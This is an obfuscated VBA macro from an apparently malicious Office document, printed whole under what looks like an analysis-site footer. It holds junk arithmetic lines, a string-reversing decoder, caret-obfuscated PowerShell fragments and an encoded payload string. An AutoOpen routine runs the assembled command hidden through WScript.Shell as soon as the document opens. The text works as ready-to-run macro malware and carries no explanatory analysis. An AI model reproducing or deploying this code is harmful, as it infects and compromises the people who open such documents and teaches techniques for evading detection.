      jDiroj = Hex(YOwlv / Int(90528))
      duzcIM = pOriO / UvVvJ
      cCjzi = iJzuqD + lQijo
      Okttl = Hex(oJQFX / Int(27537))
      irSMb = iaERE / BGIQUk
      TpJbE = jownt + uzRmik
vaZQXOh = sdNfi("wWOUuA1AgMAIGA5AwMAcDAkBAOAEGAhBQYAEGA1AQOAkDA4AAMAEGA2AwYAIDA0AANAEDAhBQNAIDAkBgMAMGAxAgMAMDA1AgNAkDA3AAZAgDAlBQMAUDA2AgZAIGAlBwMAQDAhBQOAIDAzAgZAYDAhBwNAQDAwAgMAQGAiBAZAEDH.Gm", 5 + 0, 168 + 0)
      YXRiJ = Hex(pDjEf / Int(86721))
      VSudZQ = IvWjm / VJtkU
      jOLhC = zHOAz + TuzabC
      zQQzl = Hex(Kzisi / Int(60075))
      wnZDS = JOImY / YOiwqk
      HPMGaf = NsoXEk + HBPrW
FkvuIM = sdNfi("Ht,AAmBgNAIDAmBQZAQDAhBANAcDA2AQYAEGAlBQMAkDAzAAOAIDAhBgZAIDAwAQNAUGAiBAN.Bu", 4 + 0, 69 + 0)
      UAJpdr = Hex(Mojwn / Int(16661))
      XEkjzY = qQakio / RMPGU
      QGFWci = PYMpkv + zDRisw
jUNlEznikcEQFv = TnSGzrL + ikjFvDfvcQsTLh + stsKGkFBroh + Chr(34) + wNEQwaREk + BBrbiJYFfp + jzIHizsHW + SfPWkov + ufDGjanTjX + LjpURkwz + OUoSHQ + YzlzMOVVOq + KzmSmBTEPXL + tiQAbw + LcllRdloNwr + WhFoK + YiRdwihz + zzrQmBZVS + mfLszDOBK + cplFP + TYiwVGjawDB + EZoRIzuQoBQ + CbnRtquajG + DsOmTXhsSOz + wHsoqKIEZh + zjtLQ + PMHGjnK + WwDGwPcKBvz + tozsOEK + tYwbuqrfz + tdErjn + rURHwnftHJn + dQjCozBlacM + FkvuIM + jPqpUduDPS + EsGLd + iTvXO + abGqa + MRprMpVIUS + ozrOrmwvEtr + TiYjSIdK + LkTwEZoj + fnsBmjNzO + NkOwJwtoOu + zXSndfjRoP + SBcjISLL + dwVkdrBTBs + ECaaUzp + fEihfzSK + DzwaIXSca + DCqltVGq + vaZQXOh + HPwwtSY + FzhKmCIDll + ztBzd
      mBZNv = Hex(NVAmWW / Int(34091))
      fwUwvz = kFiED / cCXMjw
      JBFhj = izLuvc + XlAFVI
End Function

Attribute VB_Name = "XdqmPLST"
Function stsKGkFBroh()
On Error Resume Next
      iDpLLu = Hex(SwLkN / Int(62729))
      mIJNZ = iPvdh / KauLr
      JjPXLo = wGYjZ + zkpjuk
oazhZ = sdNfi("sXIlp% tG", 2 + 0, 3 + 0)
      CsuOIL = Hex(ujrYkU / Int(76928))
      zkPzV = aNKfVo / jUuzbz
      QpAOAK = OOzzF + unEQz
      DRYSw = Hex(Oijqi / Int(65125))
      PuNBIi = GfPGv / qwzEt
      cEbDr = HFAzpM + AaEFFU
hEMlo = sdNfi("i0,es%qp2Ho", 7 + 0, 2 + 0)
      ravXCR = Hex(paPki / Int(92613))
      EcnrV = BYBJp / Tvjmt
      kGVCJD = aLSfl + LQSvw
      zYuNo = Hex(XYCzd / Int(26452))
      iGCpJ = oQcVi / rfJkX
      jFEVUk = iVWfX + LpzOU
PLCWHB = sdNfi("tHhGtCKK=%mrsjbKtN", 4 + 0, 9 + 0)
      diQWF = Hex(DMuwn / Int(26889))
      iYtIIN = RXbwSk / MXiuR
      MuwSiw = RYXmh + rskSj
      avhZuI = Hex(FFZdEU / Int(26645))
      bbuthi = iBlMAn / FRuMZQ
      wPREP = zVwwt + dUiXb
WSCplrrNz = sdNfi("82SNUALUbXAjUAY3T", 3 + 0, 11 + 0)
      EcMjn = Hex(IDRAHi / Int(84701))
      zifMco = VAMCp / iKTau
      wVnwQ = jwLrzO + DzYzp
      wjbGZZ = Hex(kjwnas / Int(83177))
      DazmOh = zzSXvj / GnQUnQ
      zbbUzV = CDkDjr + qOzcF
ZJakbqzRF = sdNfi("sodz%jWwwuX1D", 5 + 0, 5 + 0)
      iioCi = Hex(JaKWG / Int(9471))
      DEzYRO = uuthT / rKPZT
      iEEVmZ = uLSsji + FnLrqj
      iizhIw = Hex(oVwjls / Int(50176))
      Wushk = wfOadW / MUENh
      BGfwiH = DUonT + ftdsK
WptmJjAvuX = sdNfi("7GNOs&&WGsKVMbRu9D1v ", 6 + 0, 12 + 0)
      wjjCjH = Hex(bRcAsV / Int(6376))
      YJrzJa = uiraGJ / cibtfj
      REvpE = oaTwSQ + GkmvA
      zpmPz = Hex(tzmLFt / Int(95953))
      lARdl = wvCjDs / sXDUi
      YNoji = VRkNk + zHHTOd
RCnHE = sdNfi("3rfHpLr4zIUNEBOIGzwiXW% o", 2 + 0, 16 + 0)
      WqYEnC = Hex(EUBci / Int(82789))
      aZzwQ = KPLOiR / FlDYIZ
      LczJBh = OBQHi + TWhKWw
      AcITi = Hex(SKvXbt / Int(27917))
      MNmVio = jOMcvD / VYVLF
      ZQbjj = SOTwz + Lvvoz
rZMFKUNZpEI = sdNfi("AJNB tes&&LZAw", 3 + 0, 8 + 0)
      jWaTNw = Hex(mdRoWC / Int(30182))
      FRvmDl = VWNQM / kIFhb
      ijjFCf = zlAaww + dGizCt
      BrRic = Hex(idHuM / Int(97946))
      zplEXI = oJZZjr / UfDtET
      fOOwfb = dsciIr + aiQTF
dYEBlGG = sdNfi("9NYqVsw%!!%Tllu,s", 6 + 0, 9 + 0)
      XsSrC = Hex(cOzDBH / Int(60740))
      TaWIs = fKRzuY / Ytwna
      HLnwXt = whjoaW + quALIb
      zEWJrI = Hex(WYkWk / Int(85591))
      PcBjh = lOlXf / KwUnv
      BwjtcP = SMFsBF + FaDZXR
aGmJPdrOXkG = sdNfi("L9wtes&&!%jQUoTsY", 5 + 0, 10 + 0)
      VAlSz = Hex(kwSBko / Int(67384))
      vjVAmp = GjWkR / BjsuPd
      fwwack = TuDHM + NJuhY
      jaVbKh = Hex(YUtGoO / Int(71119))
      jIMhdH = zsBXn / jYXlG
      LaqLS = zpPwC + YlQWUB
zEVwjWG = sdNfi("fS&p=,UNo", 5 + 0, 3 + 0)
      NkUdcZ = Hex(uQpwWV / Int(66325))
      ZIqzt = fRvAq / wBvNE
      Jsbqw = lfOjz + ajtUL
      RtAaW = Hex(nuAApb / Int(71862))
      qiWVR = IVQzRh / dcRnQ
      ZLDBk = AuFvC + sYqrQn
mtchRoLub = sdNfi("KNs&&N9LSHV", 7 + 0, 3 + 0)
      nDKvc = Hex(JpXKR / Int(68536))
      ZDMBn = mzQhCa / NYIcl
      dYcVO = aAajd + oLpNoM
      BOVSFn = Hex(JYjcii / Int(80435))
      mJVbL = VZoQZR / bTaZV
      qzTfi = PwREYB + CRrXU
YVnEX = sdNfi("XnpBqTisP% tes&&eh=%h%BD", 5 + 0, 17 + 0)
      jzfph = Hex(fVZhF / Int(16761))
      NRzQS = rrwuEU / OzPnj
      FSoTKH = dwOpOL + VoHCAZ
      aVDQr = Hex(KKiwuR / Int(21119))
      SZuCrA = iNCduR / ubIXk
      KQaFqQ = CFvGV + jOunDd
ffuzHtwb = sdNfi("98niLGasbdRD% te%1Psi 4", 8 + 0, 14 + 0)
      ivHBm = Hex(NGPHqW / Int(63444))
      jBzoLb = aZSvHw / pzoFtb
      PJYStC = mzEjo + DMvwr
      XDzRwu = Hex(jzsKk / Int(27061))
      PbTzsa = dVzLBv / lqOuN
      BZhDzj = dUIcbP + WWZajj
jjKKbwIJ = sdNfi("N1T93.%%paowJbXmFFw% tes&&,", 2 + 0, 19 + 0)
      uhzGv = Hex(lzGiPW / Int(39982))
      ptQzLo = IMWkmM / PQnOhl
      rizCi = fOiNE + wjdJaU
      hzjTP = Hex(Ckhijl / Int(71035))
      ZsAoLE = BHGMz / IjYUt
      ZkXlc = rEQbi + TGdJjT
LlSjWJz = sdNfi("OaFY.z=%vFQEckinzElN4c", 3 + 0, 14 + 0)
      itCfrd = Hex(QMtEJ / Int(18837))
      PLrBHY = TzwZc / tsuzz
      nKcWE = HVCfLM + VCEum
      IupbW = Hex(sIoYrI / Int(15085))
      QjTaC = ImjEDP / SElJkL
      RwCzjm = wQziA + cfKQfT
JpzrHMkPdz = sdNfi("DVSniXqaBYFW%c", 3 + 0, 6 + 0)
      zVKlYH = Hex(ZEDOG / Int(95633))
      jSjUrP = JWjVCW / ntUiR
      jvnRb = lhuNlc + QsNdw
      iwGYmD = Hex(AVPoiT / Int(14505))
      iiLuim = FKUPO / BOCfY
      KdQzsn = vofmW + jjiFLw
hzlpnu = sdNfi("X%Uj% tes&2@BhB9@", 8 + 0, 8 + 0)
      uKsvEX = Hex(azGNJK / Int(52840))
      HOlSGP = faXwii / SJqjrz
      kVtVw = wiRdMJ + YUUssR
      spCLWM = Hex(EdjpK / Int(36945))
      GVdjc = OztPz / YcQfiT
      mbhQPM = XjQBku + kNwnwk
hvzDKfmN = sdNfi("lY=%iC1j6wO", 7 + 0, 3 + 0)
      dtwmOq = Hex(ZnzEWP / Int(63613))
      YFNTjw = isiDCo / RsfiB
      hldBV = wvSzO + vrotZf
      FGWQOM = Hex(CXpIk / Int(30088))
      IFTwN = bYiDBG / dbzSJ
      rvKqR = hGslC + wnLohF
zvmlBjtGwB = sdNfi("jpLBSKGAz%!!%paowJbXmwd,G4", 6 + 0, 17 + 0)
      tSNjc = Hex(OIIia / Int(45779))
      zaXcz = Cjfoi / baEStp
      uHPqiP = YCIZbR + fiWPi
      jLIEva = Hex(pjBwjq / Int(47095))
      oWtvnB = iQfGvf / cMPicq
      uBMqh = XvfGNS + wQobF
WwhChiV = sdNfi("PzVqHszQVsz=%lizjbcYjj9", 5 + 0, 17 + 0)
      HcsZpf = Hex(sDohB / Int(26171))
      htUhFF = FmkYs / YwMYnZ
      joCcXK = mTHwFA + ZFvHVz
      SrJnhq = Hex(FSfNT / Int(82763))
      jRnavX = dtBsda / VmToP
      JsGXnq = FJUNfk + ZzGUT
KjHKzjfCAZj = sdNfi("BipqfdqVsw% tes&&!%vcK.i", 5 + 0, 17 + 0)
      rozIv = Hex(QEkjL / Int(47687))
      EorKQ = ForUYo / sUpVf
      UEvUuw = iZiUcI + bjRioq
      whBuRP = Hex(PJoFV / Int(8503))
      oWXRXM = uXmIX / wlKJi
      uEuiQ = NnEoK + ldVIct
FoBbCLAD = sdNfi("8fNjzv tes&&wY", 2 + 0, 7 + 0)
      vOXCJP = Hex(tzXizi / Int(52564))
      JktoH = JZFFN / XuvpI
      NjvXC = TiSQQa + fKZTlO
      cURMTi = Hex(bHTWot / Int(11994))
      AWRFb = XaiAt / dCFTX
      zbkCw = MELZuD + jliAfd
oEwJPGmN = sdNfi("9BG%!!liWoXh.", 8 + 0, 4 + 0)
      hOFumM = Hex(HzYCA / Int(97830))
      timwaf = WHzjbY / muCZp
      TkWqPj = FHmXt + omGwB
      UfuTDJ = Hex(iEiOw / Int(66935))
      hENdNs = APrQvA / mOKKwD
      nUKFli = XFpmG + nEFAw
adziidWRD = sdNfi("T1L4TisP%!!%UALUbXAjUAYU9", 3 + 0, 19 + 0)
      NUPDDI = Hex(HspYE / Int(99490))
      QtjCXb = ddKCd / sIiIJO
      qMYRH = caLhjk + artUDd
      CCMvpJ = Hex(vMWsc / Int(28316))
      MwcYsq = qjAZtp / ZhwvD
      VzvIf = wAPNpc + uiiHY
wcFbfGO = sdNfi("3NQLm.D9!=%pbOIK", 2 + 0, 7 + 0)
      rJLVM = Hex(vULVi / Int(46808))
      YMVNBT = KrabTL / rvXuaZ
      MtJdjm = Onikor + qYVdn
      mHiTc = Hex(EsJoq / Int(3942))
      KQFfVi = WiDCh / oOtNkw
      OZdcnv = qukjqi + qUDnk
YiKszoR = sdNfi("iSniLGasbdRD%!=3m8c", 5 + 0, 13 + 0)
      imHDj = Hex(zSqzwD / Int(84522))
      Qkmcs = jabuU / CEztq
      AzIbSZ = AwfAvo + wTIGha
      FaapV = Hex(nLJTiC / Int(82737))
      cIIRj = uTRFhT / dPmNtb
      ocGfNn = kzjTb + YMEIlq
SUGIUK = sdNfi("TSooFQEckinz,PscZ", 6 + 0, 8 + 0)
      cmJVH = Hex(zJvWG / Int(71066))
      thzCcD = fKVkmF / URLdbC
      VBTlX = oJoba + zAqMCj
      wFSLO = Hex(VwTYX / Int(42511))
      ROIPj = ZjKcc / LXzKQu
      sksId = zZbFj + DYjKY
hPpSmbm = sdNfi("FHVz@%Ls=%jWwwoh@", 2 + 0, 9 + 0)
      fFrJW = Hex(cqXChX / Int(73172))
      iCdTY = fEjzz / dNYPfN
      zlpii = Gfmnz + DTilBv
      oYlUL = Hex(mIipd / Int(71690))
      sTKIOi = atFnn / ZqUiLP
      WpcWz = OXhLcD + IDUvi
TTQhX = sdNfi("J%NFohqfdF29", 4 + 0, 5 + 0)
      iGwvSz = Hex(jwvowd / Int(26890))
      JDrnJh = cthdj / TWVYz
      hAXuJY = wQcsO + puzzdI
      EtEPw = Hex(CdkDG / Int(61092))
      WsXIsM = IqwkiT / tpvHvO
      pnHvfh = ijwpal + fpFQGp
HbXdpbFZCj = sdNfi("hoWcc,s^oYM", 3 + 0, 2 + 0)
      NuUjf = Hex(JopwLR / Int(32813))
      EPMMiw = GCuIhA / zqqoY
      btnOz = juuAiI + vaZsD
      SINAk = Hex(NHLzi / Int(50010))
      GHkkP = dCwdB / aJERRF
      sucABb = Djnfm + bdkCnA
hcwSLq = sdNfi("IurjzsOiwGoaMD3ZG", 7 + 0, 9 + 0)
      jkwVi = Hex(JKBJp / Int(88414))
      BhViHj = KUtPQ / BPwZBi
      jtIwG = pSuBZ + ltwtHF
      NSjuB = Hex(VRMBFk / Int(95649))
      ZTiww = tZAGPR / FmMOX
      FwhOB = jEXtW + ZDWdb
wWWztpDLmA = sdNfi("biNofjdFLQBXPE% tes&&dd", 3 + 0, 17 + 0)
      KNuKnS = Hex(ikfQiz / Int(74378))
      XsQrFh = OWVfdn / OicKRE
      RuKPl = jEotu + kBKFlW
      EBYdiH = Hex(DZrqtq / Int(50347))
      lBjYCs = jHhucD / iqwjUu
      iZLjJ = zDzGc + Oucfp
RcQUHqYPf = sdNfi("YPG3bTcYUSSKGAz% tes&&r^B", 2 + 0, 17 + 0)
      AZVQv = Hex(idLqBr / Int(19274))
      fZGbU = tijdKb / bpzFK
      ZTVmO = bBjwGB + wFVoo
      aBhsj = Hex(iqVwER / Int(62687))
      JvwNB = EGSJiH / FDDhp
      ClBdI = RkRhj + wUXvA
MjkwQu = sdNfi("N8Y=%nGBpacPAcUWVID2o", 5 + 0, 15 + 0)
      qiJRTi = Hex(NcRcn / Int(33746))
      OzijI = pBjzn / ivjmz
      COqLI = RSFujz + iPSAz
      rWkhZD = Hex(PzYwY / Int(97530))
      azKiFZ = nkvMwT / cYSKPL
      amXzHV = mKjcv + UTduhT
HKsDd = sdNfi("83EMOGSD", 5 + 0, 2 + 0)
      EmoUaj = Hex(mYGnI / Int(75116))
      zLmhzE = AZLkDn / JvXcvM
      ozDWXP = ODvTI + VIrNkP
      wFWCB = Hex(KNkuHw / Int(14109))
      FmLlHA = hIOLv / Yzccz
      rLVjOp = IOIjUc + kcuiz
QvOAmt = sdNfi("sU !%MoXBqnp0D", 5 + 0, 8 + 0)
      QnRwHq = Hex(OmOIR / Int(15372))
      PWjCz = arJZbu / djwEwi
      bEuYc = kSVAA + MYCOs
      alZHLK = Hex(YqShk / Int(33967))
      kjVvK = zAFjvl / HVsuz
      VUFMb = wniMC + XMhPiR
QYJNwbO = sdNfi("zozFFw%!&&ll=%MoX8UB", 4 + 0, 14 + 0)
      jXzZf = Hex(LarvCz / Int(46650))
      TvvfTu = OwSoCz / Ylsnb
      StYvZW = jEscO + CEQlkO
      JSCiLR = Hex(hZIpNN / Int(56261))
      KdqCD = sjHjqt / azVZO
      VzpYwA = dipij + SlHVaC
RCYvoMmAE = sdNfi("XjSpIFoamhmwbKG9", 2 + 0, 8 + 0)
      qQmvvU = Hex(HHamQ / Int(98669))
      HGVFs = qVNqd / wakSd
      WmEENu = dbFWEC + hbKim
      cwrJw = Hex(QBcvA / Int(13597))
      VTZtt = NHJbN / vRaYh
      KlEIPw = fvFrf + VvZvo
jaHOb = sdNfi("4io%jQj9bw9", 6 + 0, 3 + 0)
      kfIPv = Hex(UdGBm / Int(81470))
      uwqWEM = cjOGI / iVsHW
      lNzQB = JquSD + JPOkHf
      UOdak = Hex(iDFnW / Int(17846))
      bbJbTv = zHIIo / RIOnr
      nHrLt = wCiboz + GAAba
iBAbJn = sdNfi("OfVqfUXmU", 4 + 0, 1 + 0)
      OtjSM = Hex(VlNka / Int(77602))
      vUVVj = PhWsW / SJFiW
      joOdJ = piEXI + REmVDi
      CbkTDk = Hex(wdIwf / Int(39545))
      dsoVM = hjvno / Pzrim
      kEUrO = zhvGwm + RXrdG
ZvHNk = sdNfi("sl,S96IFTVbvKRCfTX", 3 + 0, 10 + 0)
      DIZwTj = Hex(fnUXFw / Int(42473))
      uQjldw = fLbnI / WsYTkz
      KKFALR = JNXBz + dXGKs
      dLkNhA = Hex(TtpOrK / Int(79688))
      IqSnVU = dJirDk / SSuTAS
      hCRPL = EBPcA + zTWOv
TIfJQSbBil = sdNfi("7rYFWJ%XX4z", 5 + 0, 5 + 0)
      Sthaj = Hex(wPbaXU / Int(45911))
      XQbnA = KMfcu / rjmYw
      wAiYl = TcTwj + dvEqzh
      owuitw = Hex(CDpaPk / Int(74547))
      HwAGz = warBh / zFhfcD
      LEdfv = BXIQI + MoSQS
mANhYXKrD = sdNfi("iHHsXOJ%!!%pbOIqJYUS7A", 3 + 0, 14 + 0)
      qjvpXC = Hex(LUwzVK / Int(95302))
      TbzdS = lwipK / jVpipO
      mWVVj = wkAEam + KIsNT
      zvXZNE = Hex(XIZEiV / Int(20877))
      iWMtr = KOSiU / MmPVPB
      AoIfG = ZYATZi + vmKKRJ
bztcjdoBvSL = sdNfi("2bqe=%TqaBN8Bcv", 6 + 0, 7 + 0)
      KojFr = Hex(XaksEp / Int(63453))
      KfaqFF = AKutD / lacEEG
      MLHCoN = zoHPk + hlGkUL
      jRCjB = Hex(ISjjPI / Int(81380))
      OkfSZ = zFFOnT / uUQQI
      zLUhj = jGwRs + vqmWvk
wJbSP = sdNfi("aTuG% YiFs.W", 7 + 0, 3 + 0)
      huQiMn = Hex(haNzPT / Int(13630))
      qAtDzB = fAnNXr / XXYffb
      ihItm = JsBBZk + Amdsl
      bkXVCi = Hex(kQCwUj / Int(49543))
      BnzwSD = GiZuIo / sOBvd
      qsiIvY = BtwWKW + nofjK
XZEwJpo = sdNfi("QS%BcjB@8", 7 + 0, 1 + 0)
      nipvHZ = Hex(iYovY / Int(5278))
      tIFoCu = lNlDk / UOEjSl
      vMDmBV = IdFBz + faijq
      qOzHLv = Hex(XBKDqn / Int(58971))
      zmhIk = uFJpi / MhHUuu
      AEvBH = QJoZvU + niFwX
bslBGLubzD = sdNfi("2XWqJEjo", 4 + 0, 2 + 0)
      YwwJq = Hex(dCRpu / Int(79295))
      wmizB = aRTtFj / UfEib
      zfVEE = FiiozT + kmYQJi
      wJhMnT = Hex(PlHUD / Int(5821))
      zhNRQ = BNfYik / jwoVPR
      LpAVq = skjiIb + iEApaZ
FcYihPD = sdNfi("ZPteCIX@73", 7 + 0, 2 + 0)
      oidJd = Hex(shRzl / Int(9980))
      AHHhra = sQiBPH / sfwzu
      MOcLqs = wLSlsD + iawSzA
      XwDIYz = Hex(WjEDfa / Int(39399))
      LQPQU = qLsDR / zomhVS
      IbIKJF = LjjsRw + fvziM
YvQSR = sdNfi("@3srAj8cf", 5 + 0, 3 + 0)
      TjmKEH = Hex(liwWh / Int(25031))
      MoCFGL = DHcAmU / RspCJr
      bpzGC = AdnMLE + rqsrY
      moXBwj = Hex(jMFIVm / Int(18592))
      lQEsKo = WAXMDY / VijGM
      RWUln = IdEiuj + lhBFv
XZzPYzAAi = sdNfi("Nvbp9s0ElNUj%i", 2 + 0, 6 + 0)
      LnRXd = Hex(jSLqXc / Int(28629))
      FfPvTE = jVSSdd / mrTckj
      Pzzrz = NzmhF + ILFRFm
stsKGkFBroh = hEMlo + oazhZ + hcwSLq + WwhChiV + mtchRoLub + ffuzHtwb + iBAbJn + jaHOb + zEVwjWG + hzlpnu + LlSjWJz + HbXdpbFZCj + FoBbCLAD + XZEwJpo + YvQSR + MjkwQu + ZvHNk + jjKKbwIJ + YiKszoR + aGmJPdrOXkG + RCnHE + hvzDKfmN + RCYvoMmAE + HKsDd + rZMFKUNZpEI + TIfJQSbBil + bztcjdoBvSL + RcQUHqYPf + bslBGLubzD + wcFbfGO + XZzPYzAAi + SUGIUK + KjHKzjfCAZj + hPpSmbm + wWWztpDLmA + PLCWHB + WptmJjAvuX + FcYihPD + wJbSP + WSCplrrNz + YVnEX + QYJNwbO + zvmlBjtGwB + mANhYXKrD + JpzrHMkPdz + dYEBlGG + TTQhX + ZJakbqzRF + oEwJPGmN + adziidWRD + QvOAmt
      rfSzEz = Hex(ufUXu / Int(84298))
      ZqjQEU = RiikMw / ajZOp
      sVzzur = MhcPmN + jVZBA
End Function

Attribute VB_Name = "KmcIGqBRqY"
Function TnSGzrL()
On Error Resume Next
      MHQFP = Hex(HbloM / Int(34870))
      jiwZRs = uIuMzP / JGrmZ
      vYEiv = pHUMS + OaIYU
DumpOUn = sdNfi("6%.jo^C^%     %^c^E^p^S^m^o.,", 3 + 0, 23 + 0)
      hWhaE = Hex(EIAzz / Int(39319))
      CnzBIi = dEDjZ / brjpGl
      lFClVU = dnMsKz + QhOYA
      CdLbh = Hex(cqJYI / Int(35465))
      MUYtiQ = sZGuj / MIIRcS
      zuWjk = wJtzFS + irkUq
iOIJvhPso = sdNfi("ov    &lpZ%S", 6 + 0, 5 + 0)
      jdbcWR = Hex(CIThrw / Int(81281))
      sRwsI = TNzZB / TvUYoa
      ijXSAO = YopMIJ + Eqambi
      fiUZo = Hex(kkSwPd / Int(26732))
      YFdAjB = GllTG / TusUqL
      GNVMpJ = QbJRui + lUGSX
GQiYRMZfCks = sdNfi("obz dmGd0,l", 6 + 0, 3 + 0)
      zYsjF = Hex(CRpadY / Int(34411))
      aKkRKZ = BfcTZX / halCT
      jhVlG = GKaAf + cAiako
      uqPSs = Hex(cYvVET / Int(78912))
      VLamhp = bwmUW / sflBJ
      AjVIwa = HNBIU + spFHi
DzITTq = sdNfi("sL9   %I9", 4 + 0, 3 + 0)
      uvtTtc = Hex(WjjtKT / Int(91453))
      oJzDdM = iwZnSw / PmYGEO
      HPbfwE = XUrpY + DjGEAl
      CiuFk = Hex(tXCdEv / Int(96627))
      lptivH = EtvWK / rfJcAO
      imiARm = jOaNm + NLFoJ
ltowpUfwHS = sdNfi("pNUCP3       V/     %.", 2 + 0, 15 + 0)
      Qnzoz = Hex(ajBssA / Int(6693))
      RJwHtR = ofqTi / rlfaUS
      ztjwiR = FRrVZJ + ADNzv
      HIStb = Hex(XDrJP / Int(12992))
      DEJzP = oBYwR / sjzjOG
      YpRLwT = FNXBJb + zmvzU
sMUkjEikA = sdNfi("qY       c/  n,2iqI", 7 + 0, 11 + 0)
      XOVjJB = Hex(jfaTcD / Int(51851))
      PlsKim = adWop / uwBluH
      KUiBz = uZnDY + AYhAC
      ltZEHW = Hex(SbwnYW / Int(49740))
      VKHtNd = EnlNKn / SQAzsj
      bNGQaV = onLGaZ + IYRONG
YjsPJRwlZL = sdNfi("awCUwPbiNmrNYMHwi", 3 + 0, 10 + 0)
      mTtLKU = Hex(hnbip / Int(95266))
      zBdnHf = zZGkN / Jsiif
      rouNEQ = qHAjc + cmLXob
      EwAbPz = Hex(jiCaRz / Int(30954))
      SAJZnz = FEPhiF / SBrmd
      EIAvbN = jiwrpm + uwtiM
lzMJkrOHtpd = sdNfi("0H0jw6 o", 2 + 0, 1 + 0)
      UtvMiT = Hex(MMBifW / Int(65972))
      JzNwZM = XGXrr / cWHJa
      NLNoMI = YThPMT + Llwfj
      JAAHCz = Hex(oDMCp / Int(95226))
      wRRIZW = sCvNV / pGLjRZ
      jrpYiz = ikhqa + TVKFl
URIWAXVPwM = sdNfi("wlQXQUXVcWGijzz@,i", 5 + 0, 12 + 0)
      pdRzEt = Hex(IOirck / Int(31439))
      wFctia = XIVEnB / UvGwT
      UStkfz = KwsEGK + WPiLG
      QJqJz = Hex(IAWzRI / Int(75625))
      REjwVS = kQoUp / WIjINH
      PiVsdH = pCtUMA + EqXsrN
VGHrGsca = sdNfi("l3SVTzCprtdZwmr w6j8q", 5 + 0, 15 + 0)
      ftBpJP = Hex(smpDBF / Int(37491))
      jqTNpk = WTHosS / MPWuk
      pUDTsr = QERLvO + HhZdX
      oRsTAS = Hex(kQlzw / Int(12693))
      GlWdB = ttzSa / EQcWIz
      CPOrH = DAKTCn + rKVff
bMzuzqmF = sdNfi("Uv^lYUDSL", 7 + 0, 1 + 0)
      XOjuT = Hex(sUOAI / Int(88470))
      zoEzrt = lwCia / fYotuw
      lctTUu = OXoAC + ZqOnK
      SfbDG = Hex(pIoio / Int(39050))
      wCjwMb = ZzhSSj / jFqwp
      HjAFI = AaAjn + kUhkF
pkwszjLdwzs = sdNfi("l 3 WDZNwdjqUM fjsYo", 6 + 0, 12 + 0)
      NQinU = Hex(IkXMIC / Int(95954))
      zRiOCd = EbMYRt / iOcwz
      jYYUPD = XloRzi + PTmTh
      wpjpfK = Hex(znCojc / Int(65958))
      hhQqji = wfIPpk / nQhiJu
      ViILkP = dlQDA + JFrzQI
sFBkijLjZtK = sdNfi("4hb^C^% .j2", 4 + 0, 5 + 0)
      tBhQU = Hex(BAmGzS / Int(76134))
      LzIfzO = StrMpw / hZkSBc
      UAsqo = zriTk + AzFjR
      zAzGi = Hex(abkVV / Int(78264))
      PnjTsN = rfqHE / KiVbS
      AntDCm = TcYkUB + itfTL
wBzINb = sdNfi("1Gs2c^E^p^S^m^zKz3", 5 + 0, 10 + 0)
      MUbUJq = Hex(WzrFJ / Int(5102))
      nGVjih = ujSuV / odQDC
      WhjLZ = MjNVlT + SZbbYw
TnSGzrL = GQiYRMZfCks + URIWAXVPwM + VGHrGsca + YjsPJRwlZL + pkwszjLdwzs + iOIJvhPso + sFBkijLjZtK + DumpOUn + wBzINb + bMzuzqmF + ltowpUfwHS + sMUkjEikA + DzITTq + lzMJkrOHtpd
      dnSnJZ = Hex(kNtjoC / Int(87688))
      uHvwpS = vYuzTD / MBsGOm
      PsCzFb = TpzQh + fUjbHW
End Function
Function sdNfi(ByVal wFFmXbJwoap As String, PsiTqBXoM, GYAUjAXbULAU)
On Error Resume Next
      VGGOY = Hex(hsiiVF / Int(7556))
      AHJTGw = PdlEh / wuRLjR
      qRXbO = iZpqp + YZFisz
      bpGcVK = Hex(GkwMWm / Int(76729))
      sjkiFj = vanvX / KqLZN
      qXkoCR = TtbcU + thjWw
dGULstwE = sEJujp + StrReverse(wFFmXbJwoap) + miwtmnInz
      HuiQi = Hex(YTzTr / Int(57858))
      dUNPVt = cEzcio / AopLP
      OZcPtK = kaiVhI + TZZXn
zAGKSSUYJqIObp = QpDuGmtqYfIHb + Mid(dGULstwE, PsiTqBXoM, GYAUjAXbULAU) + MErzWLCwCVd
      VhDaPR = Hex(WfYVh / Int(18897))
      QAMvZ = FauPh / BcrTnh
      LRLnz = riFCn + KnPuCj
sdNfi = vPounn + zAGKSSUYJqIObp + oPwiLlnQwpFMP
      ifAXHj = Hex(nmhok / Int(64291))
      CWWYzF = bmarCu / pZppUa
      joXjH = AdOpb + BNbTh
End Function

Attribute VB_Name = "KEGtZjFld"
Sub AutoOpen()
On Error Resume Next
      MszPHZ = Hex(iwssj / Int(52331))
      XkQwtj = GIbKV / qPraV
      BQVqLw = vtUoUa + IVoQGs
      kFkXFl = Hex(bSHRW / Int(84705))
      iCuEC = kUmTH / rwVbbU
      vQKlSF = JTaMX + iEaTtL
Application.Run "JWFYBaqT", jUNlEznikcEQFv
      aLQTR = Hex(VuUGr / Int(63281))
      tzIXQc = rIRtZv / BnYCh
      PCjzr = BjQoM + faElvC
End Sub
Sub JWFYBaqT(wsVqdfqhowwWj As String)
On Error Resume Next
      RMNSu = Hex(tWHTG / Int(93411))
      KRhqN = fzaPb / EKuVE
      aNAAKNMub = "WScript.Shell"
      sVzQD = koczz + PJrIYO
      NXmXEq = Hex(lwpMzA / Int(5695))
      ObEuN = GZjhAj / Rbwmjc
      tGwvZG = lzPww + MvQDiA
CreateObject(aNAAKNMub).Run HwFpEKz + Chr(VBA.vbKeyC) + wsVqdfqhowwWj + XtaTYMKI + JUGOUaRjDo, vbHide
      WKsHfO = Hex(vAIqOI / Int(93793))
      FofXf = mnuJu / mYoFBV
      wMASn = dPHUS + wRGUc
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.